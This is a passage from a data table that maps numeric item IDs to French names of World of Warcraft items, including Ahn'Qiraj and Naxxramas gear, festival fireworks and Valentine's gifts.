Elixir de maîtrise du Feu supérieure",[21548]="Patron : Gants tempétueux",[21549]="Monster - Shield, Shieldguard",[21551]="Monster - Dagger, Alliance PvP",[21552]="Jaune-queue rayé",[21553]="Monster - Sword2H, Alliance PvP",[21554]="Monster - Gun, PvP Horde",[21555]="Monster - Mace2H, Alliance PvP",[21557]="Petite fusée rouge",[21558]="Petite fusée bleue",[21559]="Petite fusée verte",[21561]="Petite fusée blanche",[21562]="Petite fusée jaune",[21563]="Bague de don Rodrigue",[21564]="Monster - Gun, Kaldorei PVP Alliance",[21565]="Rune de perfection",[21566]="Rune de perfection",[21567]="Rune de devoir",[21568]="Rune de devoir",[21569]="Lanceur de feux d\'artifice",[21570]="Lanceur de chapelets",[21571]="Chapelet de fusées bleues",[21572]="Monster - Shield, Alliance PVP",[21573]="Monster - Sword, 1H Alliance PvP",[21574]="Chapelet de fusées vertes",[21576]="Chapelet de fusées rouges",[21579]="Tentacule de C\'Thun vaincu",[21580]="Monster - Axe, 2H Horde PvP",[21581]="Gantelets d\'annihilation",[21582]="Torsade du Dieu très ancien",[21583]="Cape de clarté",[21585]="Gantelets du sombre orage",[21586]="Ceinture d\'agonie sans fin",[21587]="Garde-poignets de punition",[21589]="Grande fusée bleue",[21590]="Grande fusée verte",[21592]="Grande fusée rouge",[21593]="Grande fusée blanche",[21595]="Grande fusée jaune",[21596]="Anneau du tueur de dieu",[21597]="Sceptre royal de Vek\'lor",[21598]="Ceinture royale qiraji",[21599]="Gants de dévastation de Vek\'lor",[21600]="Bottes de l\'épiphanie",[21601]="Anneau de l\'empereur Vek\'lor",[21602]="Brassards d\'exécution qiraji",[21603]="Baguette de noblesse qiraji",[21604]="Bracelets de rédemption royale",[21605]="Gants du temple caché",[21606]="Ceinture de l\'empereur déchu",[21607]="Torsade de l\'empereur déchu",[21608]="Amulette de Vek\'nilash",[21609]="Ceinture régénérante de Vek\'nilash",[21610]="Bouclier en écailles de ver",[21611]="Brassards de fouisseur",[21615]="Chapeau égaré de don Rigoberto",[21616]="Dardeur d\'Huhuran",[21617]="Gantelets en peau de guêpe",[21618]="Garde-poignets de profanateur de ruche",[21619]="Gants du messie",[21620]="Anneau du martyr",[21621]="Cape de la Ruche d\'or",[21622]="Fémur de silithide aiguisé",[21623]="Gantelets du champion vertueux",[21624]="Gantelets de Kalimdor",[21625]="Broche scarabée",[21626]="Jambières couvertes de vase",[21627]="Cape des secrets inexprimables",[21635]="Guisarme du saccageur des sables",[21639]="Espauliers de l\'implacable",[21640]="Sac de feux d\'artifice de la fête lunaire",[21645]="Bottes de tunnelière de la ruche",[21647]="Fétiche du saccageur des sables",[21648]="Bottes recomposées",[21650]="Ancien éventreur qiraji",[21651]="Jambières de saccageur des sables en écailles",[21652]="Corselet en carapace de silithide",[21663]="Robe du saint gardien",[21664]="Collier barbelé",[21665]="Mantelet de vengeance cruelle",[21666]="Pouvoir de Sartura",[21667]="Cuissards de lumière flamboyante",[21668]="Jambières de fureur qiraji en écailles",[21669]="Casque des lianes rampantes",[21670]="Ecusson de garde-essaim",[21671]="Robe du garde de guerre",[21672]="Gants de coercition",[21673]="Griffe de silithide",[21674]="Gantelets de détermination inébranlable",[21675]="Ceinture qiraji en peau épaisse",[21676]="Jambières de l\'essaim purulent",[21677]="Anneau de fureur qiraji",[21678]="Collier de pureté",[21679]="Vengeance de Kalimdor",[21680]="Gilet d\'exécution rapide",[21681]="Anneau du dévoré",[21682]="Gantelets couverts de bile",[21683]="Mantelet de la croisade du désert",[21684]="Mantelet de la fureur du désert",[21685]="Scarabée pétrifié",[21686]="Mantelet de la puissance phrénique",[21687]="Anneau de ténèbres d\'Ukko",[21688]="Bottes du héros déchu",[21689]="Gants d\'Ebru",[21690]="Charme d\'Angelista",[21691]="Gantelets couverts de limon",[21692]="Ceinture de la triade",[21693]="Semblance du dévoreur",[21694]="Mantelet ternaire",[21695]="Toucher d\'Angelista",[21696]="Robe du triumvirat",[21697]="Cape de la trinité",[21698]="Jambières d\'immersion",[21699]="Epaulières du barrage",[21700]="Pendentif du gardien qiraji",[21701]="Cape de concentré de haine",[21702]="Amulette de vile sauvegarde",[21703]="Marteau de Ji\'zhi",[21704]="Bottes de la prophétie rédemptrice",[21705]="Bottes du prophète déchu",[21706]="Bottes de la volonté inexorable",[21707]="Anneau de pensée foisonnante",[21708]="Garde-poignets en écailles de hanneton",[21709]="Anneau du dieu déchu",[21710]="Cape du dieu déchu",[21711]="Invitation à la fête lunaire",[21712]="Amulette du dieu déchu",[21713]="Chandelle d\'Élune",[21714]="Chapelet de grandes fusées bleues",[21715]="Marteau poli au sable",[21716]="Chapelet de grandes fusées vertes",[21718]="Chapelet de grandes fusées rouges",[21721]="Lueur de la lune",[21722]="Patron : Robe de fête",[21723]="Patron : Habit de fête",[21724]="Schéma : Petite fusée bleue",[21725]="Schéma : Petite fusée verte",[21726]="Schéma : Petite fusée rouge",[21727]="Schéma : Grande fusée bleue",[21728]="Schéma : Grande fusée verte",[21729]="Schéma : Grande fusée rouge",[21730]="Schéma : Chapelet de fusées bleues",[21731]="Schéma : Chapelet de fusées vertes",[21732]="Schéma : Chapelet de fusées rouges",[21733]="Schéma : Chapelet de grandes fusées bleues",[21734]="Schéma : Chapelet de grandes fusées vertes",[21735]="Schéma : Chapelet de grandes fusées rouges",[21737]="Schéma : Lanceur de chapelets",[21738]="Schéma : Lanceur de feux d\'artifice",[21740]="Recettes des petites fusées",[21741]="Recettes de chapelet de fusées",[21742]="Recettes de grandes fusées",[21743]="Recettes de chapelet de grandes fusées",[21744]="Chapelet de fusées porte-bonheur",[21745]="Pierre de lune des anciens",[21746]="Enveloppe rouge porte-bonheur",[21747]="Pétards de fête",[21749]="Briefing de combat I",[21750]="Briefing de combat II",[21751]="Briefing tactique III",[21761]="Clé de coffre de scarabées",[21762]="Clé de coffre de scarabées supérieur",[21794]="Monster - Sword2H, Ahn\'Qiraj",[21796]="Monster - Item, Ahn\'Qiraj Held Scepter",[21800]="Lanceur silithide à carapace",[21801]="Antenne revigorante",[21802]="Le kriss perdu de Zedd",[21803]="Heaume du vengeur sacré",[21804]="Coiffe de fureur élémentaire",[21805]="Espauliers en obsidienne polie",[21806]="Martelet d\'autorité qiraji",[21809]="Fureur de l\'essaim oublié",[21810]="Bottines du nomade errant",[21812]="Boîte de chocolats",[21813]="Sachet de bonbons en forme de cœur",[21814]="Cuirasse d\'annihilation",[21815]="Gage d\'amour",[21816]="Cœur en sucre",[21817]="Cœur en sucre",[21818]="Cœur en sucre",[21819]="Cœur en sucre",[21820]="Cœur en sucre",[21821]="Cœur en sucre",[21822]="Cœur en sucre",[21823]="Cœur en sucre",[21829]="Flacon de parfum",[21830]="Papier d\'emballage vide",[21831]="Cadeau enveloppé",[21833]="Eau de Cologne",[21836]="Anneau du chaos de Ritssyn",[21837]="Marteau de guerre d\'anubisath",[21838]="Atours d\'ascension royale",[21839]="Sceptre du faux prophète",[21856]="Neretzek, le Buveur de sang",[21888]="Gants de l\'immortel",[21889]="Gants de la prophétie rachetée",[21891]="Eclat de l\'étoile tombée",[21920]="Lettre froissée",[21921]="Note soigneusement calligraphiée",[21925]="Lettre immaculée",[21926]="Note légèrement froissée",[21928]="Echantillon de sang de Berceau-de-l\'Hiver",[21935]="Ectoplasme stable",[21936]="Ectoplasme glacé",[21937]="Ectoplasme brûlé",[21938]="Cœur de magma",[21939]="Bâtonnet élémentaire de corruption",[21946]="Alambic ectoplasmique",[21960]="Sculpture sur bois",[21975]="Serment d\'adoration : Hurlevent",[21979]="Cadeau d\'adoration : Darnassus",[21980]="Cadeau d\'adoration : Forgefer",[21981]="Cadeau d\'adoration : Hurlevent",[21982]="Perles de guerre ogre",[21983]="Bannière de provocation incomplète",[21984]="Morceau gauche de l\'amulette du seigneur Valthalak",[21985]="Récipient de sang scellé",[21986]="Bannière de provocation",[21987]="Incendicite d\'Incendius",[21988]="Braise du prophète ardent",[21989]="Cendres de Cendres",[21994]="Ceinture d\'héroïsme",[21995]="Bottes d\'héroïsme",[21996]="Brassards d\'héroïsme",[21997]="Cuirasse d\'héroïsme",[21998]="Gantelets d\'héroïsme",[21999]="Heaume d\'héroïsme",[22000]="Cuissards d\'héroïsme",[22001]="Spallières d\'héroïsme",[22002]="Ceinture Sombremante",[22003]="Bottes Sombremante",[22004]="Brassards Sombremante",[22005]="Coiffe Sombremante",[22006]="Gants Sombremante",[22007]="Pantalon Sombremante",[22008]="Spallières Sombremante",[22009]="Tunique Sombremante",[22010]="Ceinture de belluaire",[22011]="Manchettes de belluaire",[22013]="Coiffe de belluaire",[22014]="Brasero béni",[22015]="Gants de belluaire",[22016]="Mantelet de belluaire",[22017]="Pantalon de belluaire",[22046]="Morceau droit de l\'amulette du seigneur Valthalak",[22047]="Morceau supérieur de l\'amulette du seigneur Valthalak",[22048]="Amulette du seigneur Valthalak",[22049]="Brasero de signal",[22050]="Brasero de signal",[22051]="Brasero de signal",[22052]="Brasero de signal",[22056]="Brasero de signal",[22057]="Brasero d\'invocation",[22058]="Papier à lettres de la St-Valentin",[22059]="Carte de la St-Valentin",[22060]="Tunique de belluaire",[22061]="Bottes de belluaire",[22062]="Ceinture du sorcier",[22063]="Manchettes du sorcier",[22064]="Bottes du sorcier",[22065]="Couronne du sorcier",[22066]="Gants du sorcier",[22067]="Jambières du sorcier",[22068]="Mantelet du sorcier",[22069]="Robe du sorcier",[22070]="Ceinture Mortebrume",[22071]="Brassards Mortebrume",[22072]="Jambières Mortebrume",[22073]="Mantelet Mortebrume",[22074]="Masque Mortebrume",[22075]="Robe Mortebrume",[22076]="Sandales Mortebrume",[22077]="Protège-mains Mortebrume",[22078]="Ceinture vertueuse",[22079]="Brassards vertueux",[22080]="Couronne vertueuse",[22081]="Gants vertueux",[22082]="Mantelet vertueux",[22083]="Robe vertueuse",[22084]="Sandales vertueuses",[22085]="Jupe vertueuse",[22086]="Ceinture d\'Âmeforge",[22087]="Bottes d\'Âmeforge",[22088]="Brassards d\'Âmeforge",[22089]="Cuirasse d\'Âmeforge",[22090]="Gantelets d\'Âmeforge",[22091]="Casque d\'Âmeforge",[22092]="Cuissards d\'Âmeforge",[22093]="Spallières d\'Âmeforge",[22094]="Varech de sang",[22095]="Manchettes des cinq tonnerres",[22096]="Bottes des Cinq tonnerres",[22097]="Coiffe des Cinq tonnerres",[22098]="Corde des Cinq tonnerres",[22099]="Gantelets des cinq tonnerres",[22100]="Kilt des cinq tonnerres",[22101]="Espauliers des cinq tonnerres",[22102]="Gilet des Cinq tonnerres",[22106]="Ceinture Cœur-Farouche",[22107]="Bottes Cœur-Farouche",[22108]="Brassards Cœur-Farouche",[22109]="Capuche Cœur-Farouche",[22110]="Gants Cœur-Farouche",[22111]="Kilt Cœur-Farouche",[22112]="Spallières Cœur-Farouche",[22113]="Gilet Cœur-Farouche",[22115]="Révélateur de fantômes extradimensionnel",[22117]="Serment de loyauté : Hurlevent",[22119]="Serment de loyauté : Forgefer",[22120]="Serment de loyauté : Darnassus",[22121]="Serment de loyauté : Fossoyeuse",[22122]="Serment de loyauté : Les Pitons-du-Tonnerre",[22123]="Serment de loyauté : Orgrimmar",[22131]="Assortiment de cadeaux de Hurlevent",[22132]="Assortiment de cadeaux de Forgefer",[22133]="Assortiment de cadeaux de Darnassus",[22134]="Assortiment de cadeaux de Fossoyeuse",[22135]="Assortiment de cadeaux des Pitons-du-Tonnerre",[22136]="Assortiment de cadeaux d\'Orgrimmar",[22137]="Sacoche d\'Ysida",[22138]="Brassards rochenoires",[22139]="Médaillon d\'Ysida",[22140]="Carte de sentinelle",[22141]="Carte de garde de Forgefer",[22142]="Carte de grunt",[22143]="Carte de garde de Hurlevent",[22144]="Carte de gardien des Hauts",[22145]="Carte de garde moisie",[22149]="Perles de mojo ogre",[22150]="Perles de puissance ogre",[22154]="Serment d\'adoration : Forgefer",[22155]="Serment d\'adoration : Darnassus",[22156]="Serment d\'adoration : Orgrimmar",[22157]="Serment d\'adoration : Fossoyeuse",[22158]="Serment d\'adoration : Les Pitons-du-Tonnerre",[22159]="Serment d\'amitié : Darnassus",[22160]="Serment d\'amitié : Forgefer",[22161]="Serment d\'amitié : Orgrimmar",[22162]="Serment d\'amitié : Les Pitons-du-Tonnerre",[22163]="Serment d\'amitié : Fossoyeuse",[22164]="Cadeau d\'adoration : Orgrimmar",[22165]="Cadeau d\'adoration : Les Pitons-du-Tonnerre",[22166]="Cadeau d\'adoration : Fossoyeuse",[22167]="Cadeau d\'amitié : Darnassus",[22168]="Cadeau d\'amitié : Forgefer",[22169]="Cadeau d\'amitié : Orgrimmar",[22170]="Cadeau d\'amitié : Hurlevent",[22171]="Cadeau d\'amitié : Les Pitons-du-Tonnerre",[22172]="Cadeau d\'amitié : Fossoyeuse",[22173]="Bière artisanale naine",[22174]="Poème romantique",[22175]="Tartelette sortie du four",[22176]="Pain artisanal",[22177]="Fleurs fraîchement cueillies",[22178]="Serment d\'amitié : Hurlevent",[22191]="Tunique de mailles en obsidienne",[22192]="Elixir d\'esquive de varech de sang",[22193]="Elixir de résistance de varech de sang",[22194]="Emprise noire du Destructeur",[22195]="Ceinture légère en obsidienne",[22196]="Cuirasse épaisse en obsidienne",[22197]="Ceinture lourde en obsidienne",[22198]="Bouclier dentelé en obsidienne",[22199]="Monster - Axe, 2H Arcanite Reaper",[22200]="Flèche en argent",[22201]="Reliquaire de pureté",[22202]="Petit éclat d\'obsidienne",[22203]="Grand éclat d\'obsidienne",[22204]="Garde-poignets de renom",[22205]="Liens d\'acier noir",[22206]="Bouquet de roses rouges",[22207]="Echarpe de la Grande chasse",[22208]="Marteau en pierre de lave",[22209]="Plans : Ceinture lourde en obsidienne",[22210]="Monster - Knuckle, B01 Red",[22211]="Monster - Knuckle, B01 Red Offhand",[22212]="Espauliers de golem ajustés",[22213]="Monster - Mace, Hand of Edward the Odd",[22214]="Plans : Ceinture légère en obsidienne",[22215]="Monster - Dagger, Bonescraper",[22216]="Glande à venin de Venoxis",[22217]="Glande à venin de Kurinnaxx",[22218]="Poignée de pétales de rose",[22219]="Plans : Bouclier dentelé en obsidienne",[22220]="Plans : Emprise noire du Destructeur",[22221]="Plans : Tunique de mailles en obsidienne",[22222]="Plans : Cuirasse épaisse en obsidienne",[22223]="Protège-tête de contremaître",[22224]="Essence de spectre railleur",[22225]="Capuche en peau de dragon",[22226]="Restes druidiques",[22227]="Relique de Brise-Stellaire",[22228]="Epée brillante de fanatisme",[22229]="Cendres d\'âme de banni",[22231]="Bottes de précision de Kayser",[22232]="Ceinturon de tireur d\'élite",[22234]="Mantelet de l\'espoir perdu",[22235]="Flèche en vrai-argent",[22236]="Délice au lait",[22237]="Désir noir",[22238]="Fondant aux myrtilles",[22239]="Douce surprise",[22240]="Grèves du désespoir cinglant",[22241]="Espauliers du Sombre gardien",[22242]="Laisse de Verek",[22243]="Petite bourse d\'âme",[22244]="Boîte d\'âmes",[22245]="Chaussures encroûtées de suie",[22246]="Bourse enchantée en tisse-mage",[22247]="Bottes de guérisseur miraculeux",[22248]="Sac enchanté en étoffe runique",[22249]="Grand sac d\'enchantement",[22250]="Bourse d\'herbes",[22251]="Sac d\'herbes cénarien",[22252]="Sacoche de Cénarius",[22253]="Tome des Egarés",[22254]="Baguette de lumière éternelle",[22255]="Anneau forgé dans le magma",[22256]="Protège-mains sculpte-mana",[22257]="Bague souillée de sang",[22259]="Bracelet d\'amitié non distribué",[22260]="Bracelet d\'amitié",[22261]="Cœur d\'artichaut",[22262]="Assortiment de cadeaux de l\'Alliance",[22263]="Assortiment de cadeaux de la Horde",[22264]="Lettre écrite avec soin",[22265]="Lettre pleine d\'amour",[22266]="Epine de braise",[22267]="Turban en tisse-sort",[22268]="Emblème draconique imprégné",[22269]="Cape de rôdeur des ombres",[22270]="Bottes de tranchée",[22271]="Jambières de magie frénétique",[22272]="Etreinte de la forêt",[22274]="Fourrure grisonnante",[22275]="Bottes mousse-de-feu",[22276]="Robe rouge ravissante",[22277]="Habit de soirée rouge",[22278]="Robe bleue ravissante",[22279]="Robe noire ravissante",[22280]="Robe violette ravissante",[22281]="Habit de soirée bleu",[22282]="Habit de soirée violet",[22283]="Sac de pain artisanal",[22284]="Monceau de cartes",[22285]="Assortiment de serments de Hurlevent",[22286]="Assortiment de serments de Forgefer",[22287]="Ballot de cartes",[22288]="Caisse de bière artisanale",[22289]="Pile de cartes",[22290]="Assortiment de serments de Darnassus",[22291]="Boîte de sculptures sur bois",[22292]="Boîte de tartelettes",[22293]="Paquet de cartes",[22294]="Assortiment de serments d\'Orgrimmar",[22295]="Sac de cartes",[22296]="Panier de fleurs",[22297]="Assortiment de serments des Pitons-du-Tonnerre",[22298]="Recueil de poèmes romantiques",[22299]="Liasse de cartes",[22300]="Assortiment de serments de Fossoyeuse",[22301]="Robe Tisse-fer",[22302]="Capuche Tisse-fer",[22303]="Pantalon Tisse-fer",[22304]="Gants Tisse-fer",[22305]="Mantelet Tisse-fer",[22306]="Ceinture Tisse-fer",[22307]="Patron : Bourse enchantée en tisse-mage",[22308]="Patron : Sac enchanté en étoffe runique",[22309]="Patron : Grand sac d\'enchantement",[22310]="Patron : Sac d\'herbes cénarien",[22311]="Bottes Tisse-fer",[22312]="Patron : Sacoche de Cénarius",[22313]="Brassards Tisse-fer",[22314]="Harpon de veneur",[22315]="Marteau de revitalisation",[22317]="Coup de poing du gaucher en laiton",[22318]="Arc long de Malgen",[22319]="Tome de droit divin",[22320]="Marchandises premier choix de Mux",[22321]="Cœur de Wyrmthalak",[22322]="Le Bourre-pif",[22324]="Kimchi d\'hiver",[22325]="Ceinture de l\'entourloupeur",[22326]="Bague d\'amalgame",[22327]="Amulette du racheté",[22328]="Cuissards de vigilance",[22329]="Sceptre de focalisation interminable",[22330]="Voile de maîtrise des Arcanes",[22331]="Bague du héros inébranlable",[22332]="Lame de nécromancie",[22333]="Marteau de puissance divine",[22334]="Bague de guérison",[22335]="Bâton de commandement du seigneur Valthalak",[22336]="Egide draconien de la légion",[22337]="Voile de domination",[22338]="Cendre volcanique",[22339]="Bague runique de sorcellerie",[22340]="Pendentif de célérité",[22341]="Monster - Mace, Horde A04 Pale - Bone Wrench",[22342]="Jambières de tourment",[22343]="Garde-mains de sauvagerie",[22344]="Mode d\'emploi du brasero d\'invocation",[22345]="Totem de renaissance",[22347]="Arbalète à répétition de Fahrad",[22348]="Mortulus prime",[22349]="Cuirasse désacralisée",[22350]="Tunique désacralisée",[22351]="Robe désacralisée",[22352]="Cuissards désacralisés",[22353]="Heaume désacralisé",[22354]="Espauliers désacralisés",[22355]="Brassards désacralisées",[22356]="Sangle désacralisée",[22357]="Gantelets désacralisés",[22358]="Solerets désacralisés",[22359]="Garde-jambes désacralisés",[22360]="Chapel désacralisé",[22361]="Spallières désacralisées",[22362]="Protège-poignets désacralisés",[22363]="Ceinturon désacralisé",[22364]="Garde-mains désacralisés",[22365]="Bottes désacralisées",[22366]="Jambières désacralisées",[22367]="Diadème désacralisé",[22368]="Protège-épaules désacralisés",[22369]="Manchettes désacralisées",[22370]="Ceinture désacralisée",[22371]="Gants désacralisés",[22372]="Sandales désacralisées",[22373]="Débris d\'armure en cuir",[22374]="Débris d\'armure en mailles",[22375]="Débris d\'armure en plaques",[22376]="Débris d\'armure en tissu",[22377]="Le tisonnier de Tonnebois",[22378]="Tranchoir de Ravenholdt",[22379]="Coutelas de Tympeustache",[22380]="Marteau de culture de Simona",[22381]="Echantillon de venin de Silithus",[22382]="Récipient de venin scellé",[22383]="Lame feuille-de-saule",[22384]="Eloquente",[22385]="Jambières titanesques",[22388]="Plans : Jambières titanesques",[22389]="Plans : Lame feuille-de-saule",[22390]="Plans : Eloquente",[22392]="Formule : Enchantement d\'arme 2M (Agilité)",[22393]="Codex : Prière de protection contre l\'Ombre",[22394]="Bâton de métanoïa",[22395]="Totem de rage",[22396]="Totem de vie",[22397]="Idole de férocité",[22398]="Idole de récupération",[22399]="Idole de santé",[22400]="Libram de vérité",[22401]="Libram d\'espoir",[22402]="Libram de grâce",[22403]="Collier de perle de Diana",[22404]="Gratte-dos de Willey",[22405]="Mantelet de la Croisade écarlate",[22406]="Rédemption",[22407]="Heaume de la nouvelle lune",[22408]="Baguette de mauvais mojo de Ritssyn",[22409]="Tunique du croissant de lune",[22410]="Gantelets d\'adresse",[22411]="Heaume de l\'exécuteur",[22412]="Mantelet de Thuzadin",[22416]="Cuirasse de cuirassier",[22417]="Cuissards de cuirassier",[22418]="Casque de cuirassier",[22419]="Espauliers de cuirassier",[22420]="Solerets de cuirassier",[22421]="Gantelets de cuirassier",[22422]="Sangle de cuirassier",[22423]="Brassards de cuirassier",[22424]="Garde-poignets de rédemption",[22425]="Tunique de rédemption",[22426]="Garde-mains de rédemption",[22427]="Garde-jambes de rédemption",[22428]="Chapel de rédemption",[22429]="Spallières de rédemption",[22430]="Bottes de rédemption",[22431]="Ceinturon de rédemption",[22432]="Aiguillon de diablosaure",[22433]="Bague de domination de don Mauricio",[22434]="Chapeau de sang",[22435]="Dard de Gorishi",[22436]="Tunique de traqueur des cryptes",[22437]="Garde-jambes de traqueur des cryptes",[22438]="Chapel de traqueur des cryptes",[22439]="Spallières de traqueur des cryptes",[22440]="Bottes de traqueur des cryptes",[22441]="Garde-mains de traqueur des cryptes",[22442]="Ceinturon de traqueur des cryptes",[22443]="Garde-poignets de traqueur des cryptes",[22444]="Liane putride",[22458]="Bâton de Lunombre",[22464]="Tunique de Brise-terre",[22465]="Garde-jambes Brise-terre",[22466]="Chapel de Brise-terre",[22467]="Spallières de Brise-terre",[22468]="Bottes de Brise-terre",[22469]="Garde-mains de Brise-terre",[22470]="Ceinturon de Brise-terre",[22471]="Garde-poignets de Brise-terre",[22472]="Bottes de férocité",[22476]="Cuirasse de la faucheuse d\'os",[22477]="Cuissards de la faucheuse d\'os",[22478]="Casque de la faucheuse d\'os",[22479]="Espauliers de la faucheuse d\'os",[22480]="Solerets de la faucheuse d\'os",[22481]="Gantelets de la faucheuse d\'os",[22482]="Sangle de la faucheuse d\'os",[22483]="Brassards de la faucheuse d\'os",[22484]="Rune nécrotique",[22488]="Tunique de marcherêve",[22489]="Garde-jambes de marcherêve",[22490]="Chapel de marcherêve",[22491]="Spallières de marcherêve",[22492]="Bottes de marcherêve",[22493]="Garde-mains de marcherêve",[22494]="Ceinturon de marcherêve",[22495]="Garde-poignets de marcherêve",[22496]="Robe de givrefeu",[22497]="Jambières de givrefeu",[22498]="Diadème de givrefeu",[22499]="Protège-épaules de givrefeu",[22500]="Sandales de givrefeu",[22501]="Gants de givrefeu",[22502]="Ceinture de givrefeu",[22503]="Manchettes de givrefeu",[22504]="Robe de pestecœur",[22505]="Jambières de pestecœur",[22506]="Diadème de pestecœur",[22507]="Protège-épaules de pestecœur",[22508]="Sandales de pestecœur",[22509]="Gants de pestecœur",[22510]="Ceinture de pestecœur",[22511]="Manchettes de pestecœur",[22512]="Robe de foi",[22513]="Jambières de foi",[22514]="Diadème de foi",[22515]="Protège-épaules de foi",[22516]="Sandales de foi",[22517]="Gants de foi",[22518]="Ceinture de foi",[22519]="Manchettes de foi",[22520]="Le phylactère de Kel\'Thuzad",[22523]="Insigne de l\'Aube",[22524]="Insigne de la Croisade",[22525]="Morceaux de démon des cryptes",[22526]="Fragments d\'os",[22527]="Noyau des éléments",[22528]="Morceaux de sombrefer",[22529]="Palme sauvage",[22568]="Commission d\'artisan scellée",[22589]="Atiesh, grand bâton du Gardien",[22593]="Sauf-conduit",[22595]="Annonce de l\'appel aux armes",[22596]="Monster - Sword2H, Horde A02",[22600]="Commission d\'artisan - Pierre de lest denses",[22601]="Commission d\'artisan - Pansières impériales",[22602]="Commission d\'artisan - Marteaux volcaniques",[22603]="Commission d\'artisan - Hache d\'armes énorme en thorium",[22604]="Commission d\'artisan - Diadèmes radieux",[22605]="Commission d\'artisan - Bandeaux corrompus en cuir",[22606]="Commission d\'artisan - Renforts d\'armure robustes",[22607]="Commission d\'artisan - Ceintures corrompues en cuir",[22608]="Commission d\'artisan - Pantalons runiques en cuir",[22609]="Commission d\'artisan - Pantalons en étoffe lumineuse",[22610]="Commission d\'artisan - Bottes en étoffe runique",[22611]="Commission d\'artisan - Sacs en étoffe runique",[22612]="Commission d\'artisan - Robes en étoffe runique",[22613]="Commission d\'artisan - Charges de sapeur gobelin",[22614]="Commission d\'artisan - Grenades en thorium",[22615]="Commission d\'artisan - Coqs de combat gnome",[22616]="Commission d\'artisan - Tubes en thorium",[22617]="Commission d\'artisan - Potions de mana majeures",[22618]="Commission d\'artisan - Potions de soins majeures",[22620]="Commission d\'artisan - Potions de protection contre les Arcanes supérieures",[22621]="Commission d\'artisan - Potion de pétrification",[22622]="Commission d\'artisan - Anguilles pierre-écaille",[22623]="Commission d\'artisan - Poissons cuirassés",[22624]="Commission d\'artisan - Anguilles électriques",[22630]="Atiesh, grand bâton du Gardien",[22631]="Atiesh, grand bâton du Gardien",[22632]="Atiesh, grand bâton du Gardien",[22635]="Garde sauvage",[22636]="Garde-glace",[22637]="Idole primordiale hakkari",[22638]="Ombregarde",[22648]="Dossier sur la Ruche\'Ashi",[22649]="Dossier sur la Ruche\'Regal",[22650]="Dossier sur la Ruche\'Zora",[22651]="Garde-jambes de voltigeur en plaques",[22652]="Gilet glaciaire",[22654]="Gants glaciaires",[22655]="Poignets glaciaires",[22656]="Le Purificateur",[22657]="Amulette de l\'Aube",[22658]="Cape glaciaire",[22659]="Médaillon de l\'Aube",[22660]="Etreinte de Gaïa",[22661]="Tunique polaire",[22662]="Gants polaires",[22663]="Brassards polaires",[22664]="Cuirasse glacécaille",[22665]="Brassards glacécaille",[22666]="Gantelets glacécaille",[22667]="Brassards d\'espoir",[22668]="Brassards de subterfuge",[22669]="Cuirasse plaie-de-glace",[22670]="Gantelets plaie-de-glace",[22671]="Brassards plaie-de-glace",[22672]="Garde-jambes de sentinelle en plaques",[22673]="Jambières de voltigeur en anneaux",[22676]="Jambières de voltigeur en mailles",[22678]="Talisman d\'ascendance",[22679]="Sac de fournitures",[22680]="Bague de résolution",[22681]="Bague de piété",[22682]="Rune de givre",[22683]="Patron : Etreinte de Gaïa",[22688]="Dernière chance de Verimonde",[22689]="Casque en cuir sanctifié",[22690]="Jambières du chassepeste",[22691]="Porte-cendres corrompue",[22699]="Jambières plaie-de-glace",[22700]="Jambières glaciaires",[22701]="Jambières polaires",[22702]="Jambières glacécaille",[22707]="Emprise de glace de Ramaladni",[22708]="Destin de Ramaladni",[22709]="Monster - Sword2H, Corrupted Ashbringer",[22711]="Cape des adorateurs hakkari",[22712]="Puissance de la tribu",[22713]="Sceptre des rites zuliens",[22714]="Gantelets sacrificiels",[22715]="Gants du tourmenté",[22716]="Ceinture du pouvoir vierge",[22718]="Masque inondé de sang",[22719]="Recueil d\'Omarion",[22720]="Coiffure zulienne",[22721]="Bague de servitude",[22722]="Sceau du berserker gurubashi",[22723]="Lettre du gardien des registres",[22724]="Monster - Mace1H, Korth\'azz",[22725]="Bague de Cénarius",[22726]="Fragment d\'Atiesh",[22727]="Hampe d\'Atiesh",[22730]="Corde de pédoncule cintrée",[22731]="Cape du dévoré",[22732]="Marque de C\'Thun",[22733]="Tête d\'Atiesh",[22734]="Talon d\'Atiesh",[22736]="Andonisus, Faucheuse des Âmes",[22737]="Atiesh, grand bâton du Gardien",[22738]="Monster - Sword, 1H Uber Demon Blade",[22739]="Tome de métamorphose : tortue",[22740]="Pantalon de voltigeur en cuir",[22741]="Pantalon de voltigeur en peau de lézard",[22742]="Chemise de la Voile sanglante",[22743]="Echarpe de la Voile sanglante",[22744]="Bottes de la Voile sanglante",[22745]="Pantalon de la Voile sanglante",[22746]="Uniforme de boucanier",[22747]="Jambières de voltigeur en soie",[22748]="Jambières de sentinelle en anneaux",[22749]="Pantalon de sentinelle en cuir",[22750]="Pantalon de sentinelle en peau de lézard",[22752]="Jambières de sentinelle en soie",[22753]="Garde-jambes lamellaires de sentinelle",[22754]="Quintessence éternelle",[22756]="Gilet sylvestre",[22757]="Couronne sylvestre",[22758]="Epaulières sylvestres",[22759]="Casque de la ronceraie",[22760]="Bottes de la ronceraie",[22761]="Ceinture de la ronceraie",[22762]="Cuirasse de vignefer",[22763]="Gants de vignefer",[22764]="Ceinture de vignefer",[22766]="Plans : Cuirasse de vignefer",[22767]="Plans : Gants de vignefer",[22768]="Plans : Ceinture de vignefer",[22769]="Patron : Ceinture de la ronceraie",[22770]="Patron : Bottes de la ronceraie",[22771]="Patron : Casque de la ronceraie",[22772]="Patron : Epaulières sylvestres",[22773]="Patron : Couronne sylvestre",[22774]="Patron : Gilet sylvestre",[22798]="Puissance de Menethil",[22799]="Cherche-âme",[22800]="Bâton de soufre",[22801]="Cime crépusculaire",[22802]="Détrôneuse",[22803]="Brume de minuit",[22804]="Croc de Maexxna",[22806]="Remords de la veuve",[22807]="Lame en peine",[22808]="Fustigatrice",[22809]="Maillet du croisé racheté",[22810]="Injecteur de toxines",[22811]="Cordâme",[22812]="Esclavagiste nérubien",[22813]="Claymore de la puissance impie",[22815]="Cisailleuse",[22816]="Hachette de l\'os scindé",[22818]="Le Porteur de peste",[22819]="Bouclier de condamnation",[22820]="Baguette des Parques",[22821]="Doigt du destin",[22822]="Bon iCoke",[22843]="Grèves de garde de sang en anneaux",[22852]="Bottines de garde de sang en peau de dragon",[22855]="Brodequins de garde de sang en tisse-effroi",[22856]="Brodequins de garde de sang en cuir",[22857]="Grèves de garde de sang en mailles",[22858]="Grèves de garde de sang en plaques",[22859]="Brodequins de garde de sang en satin",[22860]="Brodequins de garde de sang en soie",[22862]="Cestes de garde de sang en anneaux",[22863]="Poignes de garde de sang en peau de dragon",[22864]="Poignes de garde de sang en cuir",[22865]="Protège-mains de 